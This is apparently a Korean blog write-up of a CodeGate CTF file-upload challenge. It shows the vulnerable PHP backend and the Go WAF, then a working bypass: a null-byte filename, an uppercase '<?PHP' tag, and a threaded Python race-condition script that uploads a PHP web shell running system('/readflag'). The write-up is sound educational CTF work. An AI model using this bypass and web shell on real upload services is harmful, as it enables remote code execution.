// /for_user/backend/src/index.php
<?php
require_once("./config.php");
session_start();
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
$SANDBOX = getcwd() . "/uploads/" . md5("supers@f3salt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
echo "Here is your current directory : " . $SANDBOX . "<br>";
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
$filename = basename($_FILES['file']['name']);
if (move_uploaded_file( $_FILES['file']['tmp_name'], "$SANDBOX/" . $filename)) {
echo "<script>alert('File upload success!');</script>";
}
}
if (isset($_GET['path'])) {
if (file_exists($_GET['path'])) {
echo "file exists<br><code>";
if ($_SESSION['admin'] == 1 && $_GET['passcode'] === SECRET_CODE) {
include($_GET['path']);
}
echo "</code>";
} else {
echo "file doesn't exist";
}
}
if (isset($filename)) {
unlink("$SANDBOX/" . $filename);
}
?>
<form enctype='multipart/form-data' action='index.php' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"></p>
</form>
위 간단한 PHP 코드와 후술 할 Go로 작성된 WAF로 이루어진 파일업로드 서비스이다.
사용자가 파일을 업로드하고 GET 형식으로 파일의 경로를 담은 path 변수를 보냈을 때, 파일이 존재한다면 file exists 문자를 출력하고 사용자가 관리자 권한까지 있다면 해당 파일을 include 해 실행한다. 그리고 업로드한 파일을 바로 삭제해 admin 권한 없이 문제에 접근하려면 race condition으로 파일 업로드 경로에 접근해야 했다.
즉 waf를 우회하고 파일 내의 플래그를 출력하는 /readflag를 실행하는 php 파일을 업로드 후, race condition으로 파일이 삭제되기 전 접근할 수 있다면 flag를 얻을 수 있었다.
// /for_user/WAF/main.go
package main
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"regexp"
"strings"
"mime/multipart"
)
type HttpConnection struct {
Request *http.Request
Response *http.Response
}
type HttpConnectionChannel chan *HttpConnection
var connChannel = make(HttpConnectionChannel)
func PrintHTTP(conn *HttpConnection) {
fmt.Printf("%v %v\n", conn.Request.Method, conn.Request.RequestURI)
for k, v := range conn.Request.Header {
fmt.Println(k, ":", v)
}
fmt.Println("==============================")
}
type Proxy struct {
}
func NewProxy() *Proxy { return &Proxy{} }
func (p *Proxy) ServeHTTP(wr http.ResponseWriter, r *http.Request) {
var resp *http.Response
var err error
var req *http.Request
buf, _ := ioutil.ReadAll(r.Body)
rdr := ioutil.NopCloser(bytes.NewBuffer(buf))
rdr2 := ioutil.NopCloser(bytes.NewBuffer(buf))
r.Body = rdr
client := &http.Client{}
r.RequestURI = "http://backend:80" + r.RequestURI
if strings.ToLower(r.Method) != "get" && strings.ToLower(r.Method) != "post" {
r.Body.Close()
wr.Write([]byte("Nop"))
return
}
if r.Method == "POST" {
mr, err := r.MultipartReader()
if err != nil {
r.Body.Close()
fmt.Println("Http request is corrupted.")
return
} else {
var b bytes.Buffer
w := multipart.NewWriter(&b)
reuseBody := true
for {
part, err := mr.NextPart()
if err == io.EOF {
break
}
if err != nil {
r.Body.Close()
wr.Write([]byte("something wrong :("))
return
}
if part.FileName() != "" {
re := regexp.MustCompile(`[^a-zA-Z0-9\.]+`)
cleanFilename := re.ReplaceAllString(part.FileName(), "")
match, _ := regexp.MatchString(`\.(php|php2|php3|php4|php5|php6|php7|phps|pht|phtm|phtml|pgif|shtml|htaccess|inc|hphp|ctp|module|phar)$`, cleanFilename)
if match {
r.Body.Close()
wr.Write([]byte("WAF XD"))
return
}
partBuffer, _ := ioutil.ReadAll(part);
if strings.Contains(string(partBuffer), "<?php") {
r.Body.Close()
wr.Write([]byte("WAF XD"))
return
}
} else {
fieldName := part.FormName()
fieldValue, _ := ioutil.ReadAll(part)
_ = w.WriteField(fieldName, string(fieldValue))
reuseBody = false
}
}
if !reuseBody {
w.Close()
rdr2 = ioutil.NopCloser(&b)
r.Header.Set("Content-Type", w.FormDataContentType())
}
}
}
req, err = http.NewRequest(r.Method, r.RequestURI, rdr2)
for name, value := range r.Header {
if strings.Contains(strings.ToLower(value[0]), "charset") == true || strings.Contains(strings.ToLower(value[0]), "encod") == true {
r.Body.Close()
wr.Write([]byte("WAF XD"))
return
}
req.Header.Set(name, value[0])
}
resp, err = client.Do(req)
r.Body.Close()
if err != nil {
http.Error(wr, err.Error(), http.StatusInternalServerError)
return
}
conn := &HttpConnection{r, resp}
for k, v := range resp.Header {
wr.Header().Set(k, v[0])
}
wr.WriteHeader(resp.StatusCode)
io.Copy(wr, resp.Body)
resp.Body.Close()
PrintHTTP(conn)
}
func main() {
proxy := NewProxy()
fmt.Println("==============================")
err := http.ListenAndServe(":8080", proxy)
if err != nil {
log.Fatal("ListenAndServe: ", err.Error())
}
}
다만 위 WAF를 우회해야 한다는 가장 큰 문제가 존재한다.
위 WAF에서 필터링하는 것은 다음과 같다.
- 파일 제목의 알파벳, 숫자, 점( . ) 외에 모든 문자를 제거
- 파일 확장자에 .php, php2, phtml... 등이 포함되어 있는지 확인
- 파일 내용에 <?php가 포함되어 있는지 확인
- 헤더에 charset 또는 encod라는 문자열이 포함되어 있는지 확인
따라서 위 필터링을 우회하고 내부적으로 /readfile을 실행해 줄 파일을 업로드해야 하는데, 우회 방법은 간단했다.
확장자 필터링은 널 바이트 우회가 가능하며 파일 내용 검증은 <?PHP와 같이 대문자를 통한 우회가 가능하다.
import threading
import requests
def upload():
url = 'http://192.168.219.113:8000/index.php?path=/var/www/html/uploads/[ dir 문자열 ]/ex.php'
cookies = {'PHPSESSID': '[ session ]'}
sess = requests.Session()
with open('ex.php', 'rb') as file:
files = {'file': ('ex.php@8', file)}
request = requests.Request('POST',url,cookies=cookies, files=files)
request = request.prepare()
request.body = request.body.replace(b'@',b'\x00')
response = sess.send(request)
def read():
url= 'http://192.168.219.113:8000/uploads/[ dir 문자열 ]/ex.php'
response = requests.get(url)
if response.status_code == 200:
print(response.status_code)
if 'codegate' in response.text:
print(response.text)
exit(0)
for i in range(500):
t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=read)
t1.start()
t2.start()
upload()
<?PHP
system('/readflag');
?>
위 코드를 통해 내부에서 /readflag를 실행 가능했다.
'CTF' 카테고리의 다른 글
| [TsukuCTF] len_len (0) | 2025.05.03 |
|---|---|
| [CodeGate 2025] Masquerade (0) | 2025.04.15 |
| [CodeGate 2023] AI (0) | 2025.03.21 |
| [CodeGate 2023] CODEGATE Music Player (0) | 2025.03.21 |
| [CodeGate 2023] Calculator (0) | 2025.03.20 |